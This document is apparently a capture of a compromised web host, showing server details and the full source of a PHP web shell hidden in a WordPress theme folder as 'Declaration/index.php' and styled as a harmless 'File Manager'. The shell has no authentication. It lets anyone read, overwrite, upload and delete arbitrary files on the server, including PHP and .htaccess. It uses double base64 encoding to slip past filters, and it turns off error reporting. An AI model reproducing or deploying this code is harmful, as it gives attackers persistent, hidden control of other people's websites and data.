HEX
Server: LiteSpeed
System: Linux my-kul-web2054.main-hosting.eu 5.14.0-611.13.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 11 04:57:59 EST 2025 x86_64
User: u665686179 (665686179)
PHP: 8.2.30
Disabled: system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Upload Files
File: /home/u665686179/domains/teachernearme.in/public_html/wp-content/themes/astra/Declaration/index.php
<?php
error_reporting(0);

// ------------------------------------------------------------
// Helper functions
// ------------------------------------------------------------
function is_valid_path($path) {
    return realpath($path) !== false || is_dir(dirname($path));
}

function sanitize_filename($name) {
    $name = preg_replace('/\s+/', '_', $name);
    $forbidden = ['"', "'", '&', '/', '\\', '?', '#', '<', '>', '|', ':', '*'];
    return str_replace($forbidden, '', trim($name));
}

function strip_slashes_recursive($data) {
    return is_string($data) ? stripslashes($data) : $data;
}

function delete_recursive($dir) {
    $items = array_diff(scandir($dir), ['.', '..']);
    foreach ($items as $item) {
        $full = $dir . '/' . $item;
        if (is_dir($full)) {
            delete_recursive($full);
        } else {
            unlink($full);
        }
    }
    return rmdir($dir);
}

// ------------------------------------------------------------
// API endpoint handling
// ------------------------------------------------------------
if (isset($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    $response = ['success' => false, 'message' => 'Invalid action.'];

    try {
        switch ($action) {
            case 'list':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $files = [];
                if (@scandir($base_path)) {
                    foreach (scandir($base_path) as $item) {
                        if ($item === '.' || $item === '..') continue;
                        $full = $base_path . '/' . $item;
                        $files[] = [
                            'name' => $item,
                            'is_dir' => is_dir($full),
                            'size' => is_dir($full) ? 0 : filesize($full),
                            'modified' => filemtime($full)
                        ];
                    }
                    usort($files, function($a, $b) {
                        if ($a['is_dir'] === $b['is_dir']) {
                            return strcasecmp($a['name'], $b['name']);
                        }
                        return $a['is_dir'] ? -1 : 1;
                    });
                    $response = ['success' => true, 'files' => $files, 'path' => $base_path];
                } else {
                    throw new Exception('Cannot access path. It might be restricted by server configuration (open_basedir).');
                }
                break;

            case 'get_content':
                $file_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
                if (!realpath($file_path) || is_dir(realpath($file_path))) {
                    throw new Exception('Invalid file for editing.');
                }
                $response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
                break;

            case 'get_content_b64':
                $file_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
                $file_path = base64_decode($file_path);
                if (!realpath($file_path) || is_dir(realpath($file_path))) {
                    throw new Exception('Invalid file for editing.');
                }
                $response = ['success' => true, 'content' => base64_encode(base64_encode(file_get_contents($file_path)))];
                break;

            case 'save_content':
                $target_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
                $chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
                if (empty($chunks)) {
                    throw new Exception('Content is empty.');
                }
                $content = implode('', $chunks);
                if (file_put_contents($target_path, $content) !== false) {
                    $response = ['success' => true, 'message' => 'File saved successfully.'];
                } else {
                    throw new Exception('Could not save file. Check permissions.');
                }
                break;

            case 'save_content_b64':
                $target_path = isset($_POST['path_b64']) ? strip_slashes_recursive($_POST['path_b64']) : '';
                $target_path = base64_decode($target_path);
                $chunks = isset($_POST['content_chunks']) && is_array($_POST['content_chunks']) ? $_POST['content_chunks'] : [];
                if (empty($chunks)) {
                    throw new Exception('Content is empty.');
                }
                $content = implode('', $chunks);
                $content = base64_decode(base64_decode($content));
                if (file_put_contents($target_path, $content) !== false) {
                    $response = ['success' => true, 'message' => 'File saved successfully (direct method).'];
                } else {
                    throw new Exception('Invalid file for saving.');
                }
                break;

            case 'upload':
                $target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
                $file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
                if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
                    throw new Exception('Invalid data for upload.');
                }
                $file_name = sanitize_filename(base64_decode($file_name_b64));
                $file_content = base64_decode($file_content_b64);
                $target_file = rtrim($target_dir, '/') . '/' . $file_name;
                if (file_put_contents($target_file, $file_content) !== false) {
                    $response = ['success' => true, 'message' => 'File uploaded successfully.'];
                } else {
                    throw new Exception('Could not save uploaded file. Check permissions.');
                }
                break;

            case 'upload_php':
                $target_dir = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $file_name_b64 = isset($_POST['filename_base64']) ? $_POST['filename_base64'] : '';
                $file_content_b64 = isset($_POST['content_base64']) ? $_POST['content_base64'] : '';
                if (!is_valid_path($target_dir) || empty($file_name_b64) || empty($file_content_b64)) {
                    throw new Exception('Invalid data for PHP upload.');
                }
                $file_name = sanitize_filename(base64_decode($file_name_b64));
                $file_content = base64_decode($file_content_b64);
                $target_file = rtrim($target_dir, '/') . '/' . $file_name;
                if (file_put_contents($target_file, $file_content) !== false) {
                    $response = ['success' => true, 'message' => 'PHP file uploaded successfully.'];
                } else {
                    throw new Exception('Could not save PHP file.');
                }
                break;

            case 'delete':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $items = isset($_POST['items']) && is_array($_POST['items']) ? $_POST['items'] : [];
                if (empty($items)) {
                    throw new Exception('No items selected for deletion.');
                }
                foreach ($items as $item) {
                    $full = rtrim($base_path, '/') . '/' . $item;
                    if (file_exists($full)) {
                        if (is_dir($full)) {
                            delete_recursive($full);
                        } else {
                            unlink($full);
                        }
                    }
                }
                $response = ['success' => true, 'message' => 'Items deleted.'];
                break;

            case 'delete_b64':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $items_b64 = isset($_POST['items_b64']) && is_array($_POST['items_b64']) ? $_POST['items_b64'] : [];
                $items = [];
                foreach ($items_b64 as $item_b64) {
                    $items[] = base64_decode($item_b64);
                }
                if (empty($items)) {
                    throw new Exception('No items selected for deletion.');
                }
                foreach ($items as $item) {
                    $full = rtrim($base_path, '/') . '/' . $item;
                    if (file_exists($full)) {
                        if (is_dir($full)) {
                            delete_recursive($full);
                        } else {
                            unlink($full);
                        }
                    }
                }
                $response = ['success' => true, 'message' => 'Items deleted.'];
                break;

            case 'rename':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $old_name = isset($_POST['old_name']) ? $_POST['old_name'] : '';
                $new_name = isset($_POST['new_name']) ? str_replace(['..', '/', '\\'], '', $_POST['new_name']) : '';
                if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
                    throw new Exception('Invalid data for renaming.');
                }
                $old_full = rtrim($base_path, '/') . '/' . $old_name;
                $new_full = rtrim($base_path, '/') . '/' . $new_name;
                if (!file_exists($old_full)) {
                    throw new Exception('Source item does not exist at: ' . $old_full);
                }
                if (rename($old_full, $new_full)) {
                    $response = ['success' => true, 'message' => 'Item renamed successfully.'];
                } else {
                    throw new Exception('Could not rename item. Check permissions.');
                }
                break;

            case 'rename_b64':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $old_name_b64 = isset($_POST['old_name_b64']) ? $_POST['old_name_b64'] : '';
                $new_name_b64 = isset($_POST['new_name_b64']) ? $_POST['new_name_b64'] : '';
                $old_name = base64_decode($old_name_b64);
                $new_name = base64_decode($new_name_b64);
                if (!is_valid_path($base_path) || empty($old_name) || empty($new_name)) {
                    throw new Exception('Invalid data for renaming (b64).');
                }
                $old_full = rtrim($base_path, '/') . '/' . $old_name;
                $new_full = rtrim($base_path, '/') . '/' . $new_name;
                if (!file_exists($old_full)) {
                    throw new Exception('Source item does not exist at: ' . $old_full);
                }
                if (rename($old_full, $new_full)) {
                    $response = ['success' => true, 'message' => 'Item renamed successfully using b64 method.'];
                } else {
                    throw new Exception('Could not rename item.');
                }
                break;

            case 'create_folder':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $folder_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
                if (!is_valid_path($base_path) || empty($folder_name)) {
                    throw new Exception('Invalid path or folder name.');
                }
                $new_folder = rtrim($base_path, '/') . '/' . $folder_name;
                if (mkdir($new_folder)) {
                    $response = ['success' => true, 'message' => 'Folder created.'];
                } else {
                    throw new Exception('Could not create folder.');
                }
                break;

            case 'create_file':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                $file_name = isset($_POST['name']) ? str_replace(['..', '/', '\\'], '', $_POST['name']) : '';
                if (!is_valid_path($base_path) || empty($file_name)) {
                    throw new Exception('Invalid path or file name.');
                }
                $new_file = rtrim($base_path, '/') . '/' . $file_name;
                if (touch($new_file)) {
                    $response = ['success' => true, 'message' => 'File created.'];
                } else {
                    throw new Exception('Could not create file.');
                }
                break;

            case 'unzip':
                $base_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : __DIR__;
                if (!class_exists('ZipArchive')) {
                    throw new Exception('PHP Zip extension not installed.');
                }
                $zip_path = isset($_POST['path']) ? strip_slashes_recursive($_POST['path']) : '';
                if (!realpath($zip_path) || !is_file(realpath($zip_path)) || pathinfo($zip_path, PATHINFO_EXTENSION) !== 'zip') {
                    throw new Exception('Invalid ZIP file path.');
                }
                $zip = new ZipArchive();
                if ($zip->open($zip_path) === TRUE) {
                    $zip->extractTo(dirname($zip_path));
                    $zip->close();
                    $response = ['success' => true, 'message' => 'Archive extracted.'];
                } else {
                    throw new Exception('Failed to open archive.');
                }
                break;

            default:
                $response = ['success' => false, 'message' => 'Invalid action.'];
        }
    } catch (Exception $e) {
        $response = ['success' => false, 'message' => $e->getMessage()];
    }

    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($response);
    exit;
}

// ------------------------------------------------------------
// HTML/JS frontend (displayed when no action is given)
// ------------------------------------------------------------
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>File Manager</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <style>
        :root {
            --accent-color: #2271b1;
            --hover-color: #1e5a8a;
            --danger-color: #d63638;
        }
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
            background: #f0f0f1;
            margin: 0;
            padding: 20px;
        }
        .container {
            display: flex;
            flex-direction: column;
            height: 100vh;
        }
        header {
            background: #fff;
            padding: 10px 20px;
            border-bottom: 1px solid #ddd;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 10px;
        }
        main {
            flex-grow: 1;
            overflow: auto;
            padding: 20px;
            background: #fff;
            margin-top: 10px;
            border-radius: 5px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.1);
        }
        .toolbar {
            margin-bottom: 15px;
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }
        .path-bar {
            display: flex;
            gap: 8px;
            align-items: center;
            flex-grow: 1;
        }
        .path-bar input {
            flex-grow: 1;
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: monospace;
            background: #f6f7f7;
        }
        .path-bar button {
            padding: 8px 16px;
            white-space: nowrap;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
            background: #fff;
        }
        .file-table th,
        .file-table td {
            text-align: left;
            border-bottom: 1px solid #eee;
            vertical-align: middle;
            padding: 8px;
        }
        .file-table th {
            background: #f9f9f9;
            padding: 12px 8px;
        }
        .file-table tr:hover {
            background: #fafafa;
        }
        .file-table th:first-child,
        .file-table td:first-child {
            width: 40px;
            text-align: center;
        }
        .file-table th:nth-child(2),
        .file-table td:nth-child(2) {
            width: 50%;
        }
        .file-table th:nth-child(3),
        .file-table td:nth-child(3) {
            width: 120px;
        }
        .file-table th:nth-child(4),
        .file-table td:nth-child(4) {
            width: 150px;
        }
        .file-table th:nth-child(5),
        .file-table td:nth-child(5) {
            width: 150px;
        }
        .actions {
            display: flex;
            gap: 5px;
        }
        .item-link,
        a.item-link {
            text-decoration: none;
            color: var(--accent-color);
            cursor: pointer;
        }
        .item-link:hover,
        a.item-link:hover {
            color: var(--hover-color);
        }
        button {
            background: var(--accent-color);
            color: white;
            border: none;
            padding: 8px 12px;
            border-radius: 3px;
            cursor: pointer;
            font-size: 14px;
        }
        button.danger {
            background: var(--danger-color);
        }
        button:hover {
            opacity: 0.9;
        }
        .modal-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0,0,0,0.6);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        .modal-content {
            background: #fff;
            width: 80%;
            max-width: 900px;
            border-radius: 5px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.2);
            display: flex;
            flex-direction: column;
            max-height: 80%;
        }
        .modal-header {
            padding: 15px;
            border-bottom: 1px solid #ddd;
            font-weight: bold;
        }
        .modal-body {
            padding: 15px;
            overflow: auto;
            flex-grow: 1;
        }
        textarea#editor {
            width: 100%;
            height: 400px;
            font-family: monospace;
            font-size: 14px;
            border: 1px solid #ddd;
            padding: 10px;
            resize: vertical;
        }
        .modal-footer {
            padding: 10px;
            border-top: 1px solid #ddd;
            text-align: right;
        }
        #spinner {
            display: none;
            text-align: center;
            padding: 20px;
        }
    </style>
</head>
<body>
<div class="container">
    <header>
        <h3>File Manager</h3>
        <div class="toolbar">
            <button id="uploadBtn">📁 Upload</button>
            <button id="newFileBtn">📄 New File</button>
            <button id="newFolderBtn">📂 New Folder</button>
            <button id="deleteBtn" class="danger">🗑️ Delete Selected</button>
        </div>
        <div class="path-bar">
            <input type="text" id="pathInput" placeholder="Enter path...">
            <button id="goBtn">Go</button>
        </div>
    </header>
    <main>
        <div id="spinner">Loading...</div>
        <table class="file-table" id="fileTable">
            <thead>
                <tr>
                    <th><input type="checkbox" id="selectAll"></th>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody id="fileList"></tbody>
        </table>
    </main>
</div>

<div id="editorModal" class="modal-overlay">
    <div class="modal-content">
        <div class="modal-header">
            <span id="editorFileName"></span>
        </div>
        <div class="modal-body">
            <textarea id="editor" spellcheck="false"></textarea>
        </div>
        <div class="modal-footer">
            <button id="saveBtn">💾 Save Changes</button>
            <button onclick="closeModal()">Close</button>
        </div>
    </div>
</div>

<input type="file" id="hiddenFileInput" multiple style="display:none">

<script>
    const UPLOAD_LIMIT_MB = 8;
    const STATE = { currentPath: '' };  // empty means use server default (__DIR__)
    const dom = {
        fileList: document.getElementById('fileList'),
        pathInput: document.getElementById('pathInput'),
        goBtn: document.getElementById('goBtn'),
        selectAll: document.getElementById('selectAll'),
        uploadBtn: document.getElementById('uploadBtn'),
        newFileBtn: document.getElementById('newFileBtn'),
        newFolderBtn: document.getElementById('newFolderBtn'),
        deleteBtn: document.getElementById('deleteBtn'),
        editorModal: document.getElementById('editorModal'),
        editorFileName: document.getElementById('editorFileName'),
        editor: document.getElementById('editor'),
        saveBtn: document.getElementById('saveBtn'),
        spinner: document.getElementById('spinner')
    };

    async function apiCall(action, formData, showSuccess = false) {
        dom.spinner.style.display = 'block';
        try {
            formData.append('action', action);
            const response = await fetch('', { method: 'POST', body: formData });
            const result = await response.json();
            if (!result.success) throw new Error(result.message);
            if (showSuccess && result.message) alert(result.message);
            return result;
        } catch (error) {
            alert(`Error: ${error.message}`);
            console.error(error);
            return null;
        } finally {
            dom.spinner.style.display = 'none';
        }
    }

    async function render(manualPath = null) {
        let pathToSend = manualPath !== null ? manualPath : STATE.currentPath;
        const formData = new FormData();
        if (pathToSend) formData.append('path', pathToSend);
        const result = await apiCall('list', formData);
        if (!result) return;
        STATE.currentPath = result.path;
        dom.pathInput.value = STATE.currentPath;

        let html = '';
        const parentPath = STATE.currentPath.substring(0, STATE.currentPath.lastIndexOf('/'));
        if (parentPath !== '') {
            html += `<tr data-path="${parentPath}">/<td colspan="4" class="item-link">🔙 .. (Parent Directory)</td></tr>`;
        }
        result.files.sort((a,b) => (a.is_dir === b.is_dir) ? a.name.localeCompare(b.name) : (a.is_dir ? -1 : 1));
        for (const file of result.files) {
            const size = file.is_dir ? '-' : (file.size / 1024).toFixed(2) + ' KB';
            const modified = new Date(file.modified * 1000).toLocaleString();
            const icon = file.is_dir ? '📁' : '📄';
            const fullPath = `${STATE.currentPath}/${file.name}`.replace(/\/+/g, '/');
            const dataAttr = `data-path="${fullPath}"`;
            html += `<tr ${dataAttr}>
                <td><input type="checkbox" class="item-select" value="${file.name.replace(/"/g, '&quot;')}"></td>
                <td><a class="item-link" ${dataAttr}>${icon} ${file.name}</a></td>
                <td>${size}</td>
                <td>${modified}</td>
                <td class="actions">
                    ${!file.is_dir ? `<button class="edit-btn" data-path="${fullPath}">Edit</button>` : ''}
                    <button class="rename-btn" data-name="${file.name.replace(/"/g, '&quot;')}">Rename</button>
                    ${!file.is_dir && file.name.endsWith('.zip') ? `<button class="unzip-btn" data-path="${fullPath}">Unzip</button>` : ''}
                </td>
            </tr>`;
        }
        dom.fileList.innerHTML = html;

        // Attach event listeners
        document.querySelectorAll('.item-link').forEach(el => {
            el.addEventListener('click', (e) => {
                e.preventDefault();
                const path = el.getAttribute('data-path');
                if (path) {
                    STATE.currentPath = path;
                    render();
                }
            });
        });
        document.querySelectorAll('.edit-btn').forEach(btn => {
            btn.addEventListener('click', async () => {
                const path = btn.getAttribute('data-path');
                const formData = new FormData();
                formData.append('path', path);
                const result = await apiCall('get_content', formData);
                if (result) {
                    dom.editorFileName.textContent = path;
                    dom.editor.value = atob(atob(result.content));
                    dom.editorModal.style.display = 'flex';
                }
            });
        });
        document.querySelectorAll('.rename-btn').forEach(btn => {
            btn.addEventListener('click', () => {
                const oldName = btn.getAttribute('data-name');
                const newName = prompt('Enter new name:', oldName);
                if (newName && newName !== oldName) {
                    const formData = new FormData();
                    formData.append('path', STATE.currentPath);
                    formData.append('old_name', oldName);
                    formData.append('new_name', newName);
                    if (oldName.includes('.htaccess') || newName.includes('.htaccess')) {
                        formData.append('old_name_b64', btoa(oldName));
                        formData.append('new_name_b64', btoa(newName));
                        apiCall('rename_b64', formData, true).then(() => render());
                    } else {
                        apiCall('rename', formData, true).then(() => render());
                    }
                }
            });
        });
        document.querySelectorAll('.unzip-btn').forEach(btn => {
            btn.addEventListener('click', async () => {
                if (confirm('Are you sure you want to extract this archive?')) {
                    const formData = new FormData();
                    formData.append('path', btn.getAttribute('data-path'));
                    await apiCall('unzip', formData, true);
                    render();
                }
            });
        });

        // Select all checkbox
        dom.selectAll.onchange = (e) => {
            document.querySelectorAll('.item-select').forEach(cb => cb.checked = e.target.checked);
        };
    }

    function closeModal() {
        dom.editorModal.style.display = 'none';
    }

    dom.saveBtn.onclick = async () => {
        const path = dom.editorFileName.textContent;
        const content = dom.editor.value;
        const chunkSize = 4096;
        const formData = new FormData();
        let action = 'save_content';
        if (path.includes('.htaccess')) {
            action = 'save_content_b64';
            formData.append('path_b64', btoa(path));
        } else {
            formData.append('path', path);
        }
        for (let i = 0; i < content.length; i += chunkSize) {
            formData.append('content_chunks[]', content.substring(i, i + chunkSize));
        }
        const result = await apiCall(action, formData, true);
        if (result) {
            closeModal();
            render();
        }
    };

    dom.uploadBtn.onclick = () => document.getElementById('hiddenFileInput').click();
    document.getElementById('hiddenFileInput').onchange = async (e) => {
        const files = Array.from(e.target.files);
        if (!files.length) return;
        for (const file of files) {
            if (file.size > UPLOAD_LIMIT_MB * 1024 * 1024) {
                alert(`Error: File "${file.name}" is too large (Max: ${UPLOAD_LIMIT_MB} MB).`);
                continue;
            }
            const reader = new FileReader();
            const filePromise = new Promise((resolve, reject) => {
                reader.onload = () => resolve(reader.result);
                reader.onerror = reject;
                reader.readAsDataURL(file);
            });
            try {
                const dataUrl = await filePromise;
                const base64 = dataUrl.split(',')[1];
                const formData = new FormData();
                formData.append('path', STATE.currentPath);
                formData.append('filename_base64', btoa(file.name));
                formData.append('content_base64', base64);
                let action = 'upload';
                if (file.name.toLowerCase().endsWith('.php')) {
                    action = 'upload_php';
                }
                await apiCall(action, formData, true);
            } catch (err) {
                alert(`Failed to upload ${file.name}: ${err.message}`);
            }
        }
        render();
        e.target.value = '';
    };

    dom.newFileBtn.onclick = () => {
        const name = prompt('Enter new file name:');
        if (name) {
            const formData = new FormData();
            formData.append('path', STATE.currentPath);
            formData.append('name', name);
            apiCall('create_file', formData, true).then(() => render());
        }
    };

    dom.newFolderBtn.onclick = () => {
        const name = prompt('Enter new folder name:');
        if (name) {
            const formData = new FormData();
            formData.append('path', STATE.currentPath);
            formData.append('name', name);
            apiCall('create_folder', formData, true).then(() => render());
        }
    };

    dom.deleteBtn.onclick = async () => {
        const selected = Array.from(document.querySelectorAll('.item-select:checked')).map(cb => cb.value);
        if (selected.length === 0) return alert('No items selected.');
        if (confirm(`Are you sure you want to delete ${selected.length} item(s)?`)) {
            const formData = new FormData();
            formData.append('path', STATE.currentPath);
            const isSensitive = selected.some(name => name.includes('.htaccess'));
            if (isSensitive) {
                selected.forEach(name => formData.append('items_b64[]', btoa(name)));
                await apiCall('delete_b64', formData, true);
            } else {
                selected.forEach(name => formData.append('items[]', name));
                await apiCall('delete', formData, true);
            }
            render();
        }
    };

    dom.goBtn.onclick = () => {
        const newPath = dom.pathInput.value.trim();
        if (newPath) {
            render(newPath);
        } else {
            render('');
        }
    };

    // Initial render (no path => server uses __DIR__)
    render();
</script>
</body>
</html>